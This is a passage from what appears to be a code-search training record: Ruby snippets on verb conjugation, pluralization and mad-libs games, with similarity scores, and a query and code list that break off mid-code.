TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PLUPERF_PAST_ENDINGS.map do |ending|\n count += 1\n (count <= 2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def inflect(infinitive, inflection, person, plurality, mood)\n send(*[inflection, infinitive, person, plurality, mood][0, method(inflection).arity + 1])\n end", "def gift_verb(fulfillment)\n if fulfillment.quantity > 1\n \"were\"\n else\n \"was\"\n end\nend", "def verb?\n !verb.nil?\n end", "def passive_voice_indicative_mood_pastperfect_tense# {{{\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PAST_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_pastperfect_tense]}\n )\n end", "def determine_motivation(candidate)\n\tputs \"On a scale of 1 to 5 (5 being the most), how important is the candidate's motivation?\"\n\tmotivation = gets.chomp\n\tif check_number_input(motivation) == false\n\t\tprob_found\n\t\tdetermine_motivation(candidate)\n\telse\n\t\tmotivation = motivation.to_i*candidate.convert_to_val('fast_learner')\n\tend\nend", "def pluralizer number,noun\n if number <= 0\n \"No #{noun}\"\n elsif number == 1\n \"#{number} #{noun}\" \n else\n if noun.downcase == 'geese'\n noun = 'goose'\n elsif noun.downcase == 'child'\n noun = 'children'\n elsif noun.downcase == 'person'\n noun = 'people'\n else\n noun = noun.concat('s')\n end\n \"#{number} #{noun}\"\n end\nend", "def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def active_voice_subjunctive_mood_pastperfect_tense# {{{\n asp_base = first_person_perfect[0..first_person_perfect.length-2] + \"issē\"\n TenseBlock.new( ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def verb\n\t\tif link = self.links.find {|link| link.llabel =~ /^(O([DFNTX]?)|P|BI|K|LI|MV|Q)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: LL of %p is %s\" % [ link.lword, link, link.llabel ]\n\t\t\treturn link.lword.sub( /\\.v$/, '' )\n\t\telsif link = self.links.find {|link| link.rlabel =~ /^(SI|S|AF)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: RL of %p is %s\" % [ link.rword, link, link.rlabel ]\n\t\t\treturn link.rword.sub( /\\.v$/, '' )\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def is_verb? m\n is_token?(m) || is_absolute_iri?(m)\n end", "def active_voice_subjunctive_mood_perfect_tense\n asp_base =\n first_person_perfect[0..first_person_perfect.length-2] +\n \"erī\"\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def passive_voice_subjunctive_mood_present_tense\n end", "def mad_lib(plural_noun, verb)\n p \"#{plural_noun} are a great way to #{verb} around town.\"\nend", "def deponent_imperative_mutations # :nodoc:\n self.singleton_class.class_eval do\n def active_voice_imperative_mood_present_tense_second_person_singular_number\n return @proxyVerb.instance_variable_get '@present_active_infinitive'\n end\n def active_voice_imperative_mood_present_tense_second_person_plural_number\n return @proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\n end\n def active_voice_imperative_mood_future_tense_second_person_singular_number\n k=@proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\n k.sub!(/minī$/, '')\n k += 'tor'\n Linguistics::Latin::Phonographia.fix_macrons k\n end\n end\n end", "def mood\n if nausea && happiness\n self.nausea > self.happiness ? \"sad\" : \"happy\" \n end\n end", "def what_is_ur_objective(sender_id)\n Bot.on :message do |message|\n answer = message.text.downcase\n if answer.include?(\"non\")\n say(sender_id, \"Okay ! N'hésite pas à revenir si tu as besoin d'aide !\")\n else\n say(sender_id, IDIOMS[:objectives], OBJECTIVES)\n handle_objective(sender_id)\n end\n end\nend", "def emotional_adjective; end", "def present_participle\n plural = self.obj.to_s.en.plural_verb\n\n\t\tplural.sub!( /ie$/, 'y' ) or\n\t\t\tplural.sub!( /ue$/, 'u' ) or\n\t\t\tplural.sub!( /([auy])e$/, '$1' ) or\n\t\t\tplural.sub!( /i$/, '' ) or\n\t\t\tplural.sub!( /([^e])e$/, \"\\\\1\" ) or\n\t\t\t/er$/.match( plural ) or\n\t\t\tplural.sub!( /([^aeiou][aeiouy]([bdgmnprst]))$/, \"\\\\1\\\\2\" )\n\n return \"#{plural}ing\"\n\tend", "def get_verb_description()\n v = (self.must_insert? ? I18n.t(:must_insert, :scope => [:schedule]).upcase : '')\n v = v + \"/ \" if (v != \"\") and self.must_move?\n v = v + ( (self.must_move?) ? I18n.t(:must_move, :scope => [:schedule]).upcase : '' )\n v = v + \"/ \" if (v != \"\") and self.must_call? and (self.must_move? or self.must_insert?)\n v = v + ( (self.must_call?) ? I18n.t(:must_call, :scope => [:schedule]).upcase : '' )\n v\n end", "def madlib\n\tputs \"It's time for MadLibs!\"\n\tputs \"Adjective?\"\n\tadj1 = gets.chomp\n\tputs \"Name?\"\n\tname1 = gets.chomp\n\tputs \"Another adjective?\"\n\tadj2 = gets.chomp\n\tputs \"Body part?\"\n\tbody = gets.chomp\n\tputs \"Noun?\"\n\tnoun = gets.chomp\n\tputs \"Job?\"\n\tjob1 = gets.chomp\n\tputs \"One more adjective?\"\n\tadj3 = gets.chomp\n\tputs \"Another name?\"\n\tname2 = gets.chomp\n\tputs \"Another job?\"\n\tjob2 = gets.chomp\n\tputs \"Verb ending in -ing?\"\n\tverb = gets.chomp\n\tif verb.end_with?(\"ing\") == false\n\t\tputs \"Try another verb. Make sure it ends with -ing!\"\n\t\tverb = gets.chomp\n\telse\nend\n\n\tputs \"Thank You! Thank you from the bottom of my #{body}. I don't know what to say. I'm speechless.\"\n\tputs \"I truly didn't expect to win this #{noun}, certainly not with so many #{adj1} actors competing in the same category.\"\n\tputs \"First and foremost, my thanks to #{name1}. You couldn't work with a better #{job1}.\"\n\tputs \"And I'm sure I wouldn't be #{verb} here tonight if it weren't for my #{adj2} director.\"\n\tputs \"I must also thank #{name2}, who wrote a #{adj3} script for me.\"\n\tputs \"Of course, none of this would be happening if it weren't for my agent, who convinced the network that I could play a 75 year-old, retired #{job2}.\"\nend", "def active_voice_subjunctive_mood_present_tense\n end", "def mood\n if self.nausea && self.happiness\n self.nausea > self.happiness ? (return \"sad\") : (return \"happy\")\n end\n end", "def mood\n\t\tself.nausea < self.happiness ? mood = \"happy\" : mood = \"sad\"\n\tend", "def c\n return $consonants.choice\nend", "def pluralizer(num,noun)\n p noun == \"sheep\" ? \"#{num} #{noun}\" : noun == \"geese\" ? \"#{num} #{noun}\" :\n num == 1 && noun == \"child\" ? \"#{num} #{noun}\" : noun == \"child\" ? \"#{num} #{noun}ren\" :\n noun == \"children\" ? \"#{num} child\" : num == 1 && noun == \"people\" ? \"#{num} person\" :\n num > 1 ? \"#{num} #{noun}s\" : nil\nend", "def get_adjective\n\t\t[\"pretty\", \"ugly\", \"hideous\"].sample\n\tend", "def madlibs\n puts \"Enter a noun:\"\n noun = gets.chomp\n puts \"Enter a verb:\"\n verb = gets.chomp\n puts \"Enter an adjective:\"\n adjective = gets.chomp\n puts \"Enter an adverb:\"\n adverb = gets.chomp\n\n puts \"Do you still #{verb} your #{adjective} #{noun} #{adverb} everyday?\"\nend", "def explain2(options={})\n animal = options[:the]\n sound = options[:says]\n \"the #{animal} says #{sound}\"\nend", "def check_for_improper_constructions(infinitive, tense, person, mood, diathesis)\n if (mood == :imperative) && !((person == :second) && (tense == :present))\n raise Verbs::ImproperConstruction, 'The imperative mood requires present tense and second person'\n end\n if (infinitive.to_sym == :be) && (diathesis == :passive)\n raise Verbs::ImproperConstruction, 'There is no passive diathesis for the copula'\n end\n end", "def mood\n if self.happiness && self.nausea\n self.happiness > self.nausea ? \"happy\" : \"sad\"\n end\n end", "def passive_voice_indicative_mood_futureperfect_tense# {{{\n return TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_FUTURE_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_futureperfect_tense] }\n )\n end", "def mood\n if self.happiness && self.nausea\n mood = self.happiness - self.nausea\n mood > 0 ? \"happy\" : \"sad\"\n end\nend", "def verbs\n pos 'VERB'\n end", "def count_verbs\n @regular_verb_count ||= self.alternation_values\n .where(alternation_occurs: 'Regularly').reduce(0) do |sum, av|\n if av.verb then sum + 1 else sum end\n end\n end", "def conjugate(ppl)\n first_pp = ppl.first_principal_part\n full_conjugation = []\n ppl.each do |ppart|\n next unless @principal_part_num == ppart.part_num\n next if @tense == 'a' && ppart.is_second_aorist? # skip 1st aorist when appropr.\n next if @tense == '2' && ppart.is_first_aorist? # skip 1st aorist when appropr.\n @endings.each do |form_info|\n number, g_case, person_ending, ap = form_info\n form = add_ending(ppart.unaugmented_stem, person_ending, ap)\n form = ppart.is_rough? ? Breathing.rough(form) : Breathing.smooth(form)\n @voices.each do |voice|\n code = \"vp#{g_case}#{number}#{@gender}#{@tense}#{voice}\"\n english_conjugations = EnglishConjugator.conjugate(code, ppl.english_principal_parts)\n full_conjugation << [code, form, ppl.aspirated_accented_first_pp, english_conjugations]\n end\n end\n end\n return full_conjugation\n end", "def pluralizer num, noun\n if num != 1\n \"#{num} #{noun}s\"\n elsif num == 1 \n \"#{num} #{noun}\"\n elsif num != 1 && noun == goose\n \"#{num}, geese\"\n end\nend", "def mood\n \tself.happiness > self.nausea ? \"happy\" : \"sad\" if self.happiness && self.nausea\n end", "def pronoun_or_noun(noun, audience, options = {})\n return '' if noun.blank?\n\n options = {\n :force_pronoun => false,\n :force_noun => false,\n :capitalize => false,\n :case => Grammar::Case::SUBJECT\n }.merge(options)\n\n person = Grammar::Person::parse(noun, audience)\n\n if options[:force_noun] || (person == Grammar::Person::THIRD && !options[:force_pronoun])\n result = noun.to_s\n result += \"'s\" if options[:case] == Grammar::Case::POSSESSIVE\n else\n number = Grammar::Number::parse(noun)\n gender = options[:gender] || (Grammar::Gender::parse(noun) rescue Grammar::Gender::NEUTER)\n kase = options[:case]\n result = Grammar::Pronoun::pronoun_for(person, number, kase, gender)\n result = options[:capitalize] ? result.capitalize : result.downcase\n end\n result\n end", "def mood \n if self.happiness && self.nausea\n mood = self.happiness - self.nausea\n mood > 0 ? \"happy\" : \"sad\"\n end\n end", "def determine_tactic\n #Override retreat if physical attack\n if attack?\n @tactic = 1\n elsif skill?\n if !item.nil?\n @tactic = 2\n end\n else\n @tactic = 3\n end\n end", "def set_verb\n @verb = Verb.find(params[:id])\n end", "def turnon()\n puts \"You put ingredients in the blender.\"\n puts \"Would you like to turn the blender on? If so type 'Yes'\"\n prompt = gets.chomp.downcase\n\n # Until loop prompts for correct \"Yes\"/\"yes\" answer or keeps asking\n until prompt == \"yes\"\n puts \"Sure you don't want to push 'Yes'?\"\n prompt = gets.chomp.to_s.downcase \n end\n # If until loop passed, run outcome method which then runs puts blend method\n outcome \n end", "def normal_interactions\n [ Question, Fine, Woah ]\n end", "def pluralizerPlus(noun, num)\n if noun.match?(/goose|child|person/i) && num != 1\n noun.downcase === \"goose\" ? noun = \"geese\" : nil\n noun.downcase === \"child\" ? noun = \"children\" : nil\n noun.downcase === \"person\" ? noun = \"people\" : nil\n end\n if num > 1 && noun.match?(/geese|children|people/i)\n \"#{num} #{noun}\"\n elsif num > 1\n \"#{num} #{noun}s\"\n elsif num === 1\n \"#{num} #{noun}\"\n elsif num === 0 && noun.match?(/geese|children|people/i)\n \"zero #{noun}\"\n elsif num === 0\n \"zero #{noun}s\"\n else\n \"Please enter a whole number\"\n end\nend", "def consonant_cancel(sentence)\r\n newSentence = []\r\n sentence.split(\" \").each do |word|\r\n newWord = word\r\n while !('aeiou'.include?(newWord[0]))\r\n newWord = newWord[1..-1]\r\n end\r\n newSentence << newWord\r\n end\r\n return newSentence.join(\" \")\r\nend", "def get_meaning\n unless self.verbs.empty?\n self.verbs.first.meanings.first\n end\n end", "def consonant_cancel(sentence)\n \tnewSentence = \"\"\n\tsentence.split.each do |word|\n \t# puts word\n \tnewSentence = newSentence + \" \" + find_vowel(word)\n end\n \treturn newSentence\nend", "def genderToPossessiveAdjective(gender)\n if gender == nil\n return '(unknown gender)'\n end #TODO: Raise exception if unknown detected\n\n if gender == :male || gender.downcase == 'male'\n return 'his'\n else\n return 'her'\n end\n end", "def proverb_params\n params.require(:proverb).permit(:english, :translation, :active)\n end", "def mad_libs\n print \"Enter a noun: \"\n noun = gets.chomp\n print \"Enter a verb: \"\n verb = gets.chomp\n print \"Enter an adjective: \"\n adj = gets.chomp\n print \"Enter an adverb: \"\n adverb = gets.chomp\n puts \"\\nDo you #{verb} your #{adj} #{noun} #{adverb}? That's hilarious!\\n\\n\"\nend", "def mood\n if self.nausea > self.happiness\n \"sad\"\n else\n \"happy\"\n end\n end", "def mood\n if !nausea || !happiness\n return \"\"\n elsif nausea >= happiness\n return \"sad\"\n elsif happiness > nausea\n return \"happy\"\n end\n end", "def madlib\n print \"Enter a noun: \"\n noun = gets.chomp\n print \"Enter a verb: \"\n verb = gets.chomp\n print \"Enter an adjective: \"\n adjective = gets.chomp\n print \"Enter an adverb: \"\n adverb = gets.chomp\n\n puts \"The #{noun} wants to #{verb} #{adverb} but runs into the same #{adjective} problem.\"\nend", "def passive_voice_indicative_mood_future_tense\n end", "def create\n @verb = Verb.new(:infinitive => verb_params[:infinitive], :translation => verb_params[:translation], :group => verb_params[:group])\n if @verb.save\n @tenses.each_with_index do |tense, index|\n @forms.each_with_index do |form, index2|\n if(verb_params[tense][form].strip != '')\n @form = Form.new(:content => verb_params[tense][form], :temp => index.to_i, :person => index2.to_i,:verb => @verb)\n @form.save\n end\n end\n end\n end\n\n respond_to do |format|\n if @verb.save\n format.html { redirect_to @verb, notice: 'Verb was successfully created.' }\n format.json { render action: 'show', status: :created, location: @verb }\n else\n format.html { render action: 'new' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def verb(n=-1)\n\t verb = \"verb\"\n\t verb.concat(\" #{n}\") if n >= 0\t \n\t @sock.cmd(\"String\" => verb , \"Match\" => /(SUCCESS:.*\\n|ERROR:.*\\n|END.*\\n)/)\n end", "def mood\n self.happiness > self.nausea ? \"happy\" : \"sad\"\n end", "def form_for(tense, aspect, diathesis)\n form = []\n case diathesis\n when :active\n if tense == :future\n form << 'will'\n form << :infinitive if aspect == :habitual\n form.concat ['have', :past_participle] if aspect == :perfect\n form.concat ['be having', :past_participle] if aspect == :perfective\n form.concat ['be', :present_participle] if aspect == :progressive\n form.concat ['be about to', :infinitive] if aspect == :prospective\n else\n form.concat ['used to', :infinitive] if [tense, aspect] == %i[past habitual]\n form.concat %i[have past_participle] if aspect == :perfect\n form << :past if [tense, aspect] == %i[past perfective]\n form.concat %i[be present_participle] if aspect == :progressive\n form.concat [:be, 'about to', :infinitive] if aspect == :prospective\n form << :present if [tense, aspect] == %i[present habitual]\n form.concat [:be, 'having', :past_participle] if [tense, aspect] == %i[present perfective]\n end\n when :passive\n if tense == :future\n form << 'will'\n form.concat ['be', :past_participle] if aspect == :habitual\n form.concat ['have been', :past_participle] if aspect == :perfect\n form.concat ['be being', :past_participle] if aspect == :progressive\n form.concat ['be about to be', :past_participle] if aspect == :prospective\n else\n form.concat ['used to be', :past_participle] if [tense, aspect] == %i[past habitual]\n form.concat [:have, 'been', :past_participle] if aspect == :perfect\n form.concat %i[be past_participle] if [tense, aspect] == %i[past perfective]\n form.concat [:be, 'being', :past_participle] if aspect == :progressive\n form.concat [:be, 'about to be', :past_participle] if aspect == :prospective\n form.concat %i[be past_participle] if [tense, aspect] == %i[present habitual]\n end\n end\n form\n end", "def indefinite_personal_objective_pronoun\n return \"it\"\n end", "def mood\n if self.happiness < self.nausea\n \"sad\"\n else\n \"happy\"\n end\n end", "def active_voice_subjunctive_mood_present_tense\n return @proxyVerb.send :active_voice_subjunctive_mood_present_tense\n end", "def mad_lib\n puts \"Welcome to my Mad Lib! Let's get stupid.\"\n puts \"Please enter a noun.\"\n noun1 = gets.chomp\n puts \"Please enter a verb (past tense).\"\n verb1 = gets.chomp\n puts \"Please enter an adjective.\"\n adjective1 = gets.chomp\n puts \"Okay! That's a good start, but to make this truly stupid, let's get one more round of input!\"\n puts \"Please enter another noun.\"\n noun2 = gets.chomp\n puts \"Please enter another verb (past tense).\"\n verb2 = gets.chomp\n puts \"Please enter another adjective.\"\n adjective2 = gets.chomp\n puts \"All right! Here's your paragraph:\"\n puts \"#{noun1} and #{noun2} went up the hill to fetch a pail of #{adjective1} water. #{noun1} #{verb1} and #{verb2} their #{adjective2} crown and #{noun2} left that clumsy idiot at the bottom of that hill.\"\nend", "def event_to_verb\n EVENT_TO_VERB[activity.event] || activity.event.upcase\n end", "def test_complex_pronouns\n\t\tassert_equal(\"yes, i rule\", WordPlay.switch_pronouns(\"yes, you rule\"))\n\t\tassert_equal(\"why do i cry\", WordPlay.switch_pronouns(\"why do you cry\"))\n\tend", "def dluralizer(noun,num)\n if num == 1\n p '#{num} #{noun}'\n elsif num > 1 && noun == \"sheep\"\n p '#{num} #{noun}'\n elsif num > 1 && noun == 'goose'\n p '#{num} geese'\n elsif num > 1 && noun == 'child'\n p '#{num} children'\n elsif num > 1 && noun == 'person'\n p '#{num} people'\n elsif num > 1\n p \"#{num} #{noun}s\"\nend", "def pluralizer\n @number = params[:num].to_i\n @noun = params[:noun]\n if @noun.downcase == 'moose' && @number >1\n @noun = 'moose'\n elsif @noun.downcase == 'goose' && @number >1\n @noun = 'geese'\n elsif @noun.downcase == 'child' && @number >1\n @noun = 'children'\n elsif @number > 1\n @noun = @noun + 's'\n end\n render \"pluralizer.html.erb\"\nend" ]
[ "0.68978065", "0.68696505", "0.6331361", "0.6310309", "0.6310309", "0.6310309", "0.6310309", "0.6310309", "0.62588", "0.6183553", "0.61827284", "0.6049348", "0.5930382", "0.592552", "0.59015024", "0.5640087", "0.56302595", "0.56239164", "0.5499966", "0.548861", "0.54536325", "0.54464066", "0.54285836", "0.5422996", "0.5422996", "0.5403362", "0.5400154", "0.53945756", "0.5390204", "0.53871304", "0.53715044", "0.5363793", "0.53633004", "0.532841", "0.5313088", "0.53056794", "0.5291261", "0.5266484", "0.52416587", "0.5233442", "0.52288413", "0.52279294", "0.5227587", "0.5225282", "0.5213322", "0.5210645", "0.5209357", "0.5207439", "0.52055144", "0.5192488", "0.5181883", "0.51752985", "0.51733845", "0.5163151", "0.5158691", "0.5147656", "0.5140511", "0.5138837", "0.51332754", "0.513108", "0.51269686", "0.5124036", "0.51146054", "0.50995666", "0.50919086", "0.50830454", "0.5082994", "0.50784093", "0.50626755", "0.5055334", "0.5055005", "0.5044051", "0.5039904", "0.5032478", "0.5021325", "0.5008063", "0.5003823", "0.50003994", "0.5000128", "0.49984726", "0.49917468", "0.4981413", "0.49738756", "0.49609923", "0.49529564", "0.49525866", "0.4951772", "0.49432257", "0.4942919", "0.4935948", "0.49145073", "0.49079007", "0.4899376", "0.48855245", "0.4882727", "0.48781794", "0.48757482", "0.48693886", "0.48691085", "0.48682433" ]
0.6694273
2
Forming verb to apply present tense endings Params: infinitive, the given verb
def present_participle(infinitive) if infinitive.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{CONSONANTS_WITHOUT_C_PATTERN}$/) && !conjugations.single_terminal_consonants.include?(infinitive.to_sym) return present_participle_with_doubled_terminal_consonant_for infinitive end case infinitive.to_s when /c$/ "#{infinitive}k" when /(^be|ye|oe|nge|ee)$/ infinitive.to_s when /ie$/ infinitive.to_s.gsub(/ie$/, 'y') when /#{VOWEL_PATTERN}#{CONSONANT_PATTERN}e$/, /ue$/ infinitive.to_s[0..-2] else # rubocop:disable Lint/DuplicateBranch infinitive.to_s end.dup.concat('ing').to_sym end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def to_s\n\t\t\"Verb: #{@infinitive}\"\n\tend", "def regular_preterite_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(verb.to_sym)\n return regular_preterite_with_doubled_terminal_consonant_for verb\n end\n\n case verb.to_s\n when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/\n infinitive.concat('d').to_sym\n when /#{CONSONANT_PATTERN}y$/\n infinitive.gsub(/y$/, 'ied').to_sym\n when /c$/\n infinitive.gsub(/c$/, 'cked').to_sym\n else\n infinitive.concat('ed').to_sym\n end\n end", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def verb\n verb_path[0] if verb_path\n end", "def present_third_person_singular_form_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n case infinitive\n when /[a-z&&#{CONSONANT_PATTERN}]y$/i\n \"#{infinitive[0..-2]}ies\"\n when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i\n \"#{infinitive}es\"\n when /[^s]s$/i\n \"#{infinitive}ses\"\n else\n \"#{infinitive}s\"\n end\n end", "def ingverb; end", "def past(infinitive, person, plurality, mood)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, person: person, plurality: plurality, mood: mood)\n else\n regular_preterite_for infinitive\n end\n end", "def verb\n words.find { |wor| wor.pos == 'VERB' }\n end", "def is_verb? m\n is_token?(m) || is_absolute_iri?(m)\n end", "def yodawg(noun, verb=nil)\n\tif !verb\n\t\tverb=noun\n\tend\n\t\"Yo dawg, I heard you liked #{noun.en.plural}, so I put #{noun.en.a} in your #{noun} so you can #{verb} while you #{verb}!\"\nend", "def verb\r\n self.class.verb\r\n end", "def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def verb?\n !verb.nil?\n end", "def verbs\n pos 'VERB'\n end", "def verb_params\n @forms = [:je, :tu, :il, :nous, :vous, :ils]\n @t = [:présent => @forms, :passé_composé => @forms, :imparfait => @forms, :plus_que_parfait => @forms,\n :passé_simple => @forms, :passé_antérieur => @forms, :futur_simple => @forms, :futur_antérieur => @forms,:subjonctif_présent => @forms,\n :subjonctif_passé => @forms,:subjonctif_imparfait => @forms, :subjonctif_plus_que_parfait => @forms, :conditionnel_présent => @forms, :conditionnel_passé_première => @forms, :conditionnel_passé_deuxième => @forms]\n @par = [:infinitive, :translation, :group].concat(@t)\n params.require(:verb).permit(@par)\n end", "def regular_ending(verb)\n verb[-2..-1]\n end", "def get_regular(verb)\n case verb\n when /(ch|s|sh|x|z)$/\n return verb + 'es'\n when /(ay|ey|oy|uy)$/\n return verb + 's'\n when /[^aeiou]y$/\n return verb[ 0..-2 ] + 'ies'\n else\n return verb + 's'\n end\n end", "def passive_voice_subjunctive_mood_imperfect_tense\n base = present_active_infinitive.gsub(/(.*)(.)$/,\"\\\\1\" + 'ē')\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\n base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def past_participle(infinitive)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, derivative: :participle)\n else\n regular_preterite_for infinitive\n end\n end", "def regular_preterite_with_doubled_terminal_consonant_for(verb)\n regular_preterite_for verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn \"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def create\n @verb = Verb.new(:infinitive => verb_params[:infinitive], :translation => verb_params[:translation], :group => verb_params[:group])\n if @verb.save\n @tenses.each_with_index do |tense, index|\n @forms.each_with_index do |form, index2|\n if(verb_params[tense][form].strip != '')\n @form = Form.new(:content => verb_params[tense][form], :temp => index.to_i, :person => index2.to_i,:verb => @verb)\n @form.save\n end\n end\n end\n end\n\n respond_to do |format|\n if @verb.save\n format.html { redirect_to @verb, notice: 'Verb was successfully created.' }\n format.json { render action: 'show', status: :created, location: @verb }\n else\n format.html { render action: 'new' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def passive_voice_indicative_mood_perfect_tense\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PRESENT_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_perfect_tense] }\n )\n end", "def passive_voice_indicative_mood_pastperfect_tense# {{{\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PAST_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_pastperfect_tense]}\n )\n end", "def present_participle_with_doubled_terminal_consonant_for(verb)\n if /c$/ =~ verb.to_s\n present_participle verb.to_sym\n else\n present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end\n end", "def get_verb_description()\n v = (self.must_insert? ? I18n.t(:must_insert, :scope => [:schedule]).upcase : '')\n v = v + \"/ \" if (v != \"\") and self.must_move?\n v = v + ( (self.must_move?) ? I18n.t(:must_move, :scope => [:schedule]).upcase : '' )\n v = v + \"/ \" if (v != \"\") and self.must_call? and (self.must_move? or self.must_insert?)\n v = v + ( (self.must_call?) ? I18n.t(:must_call, :scope => 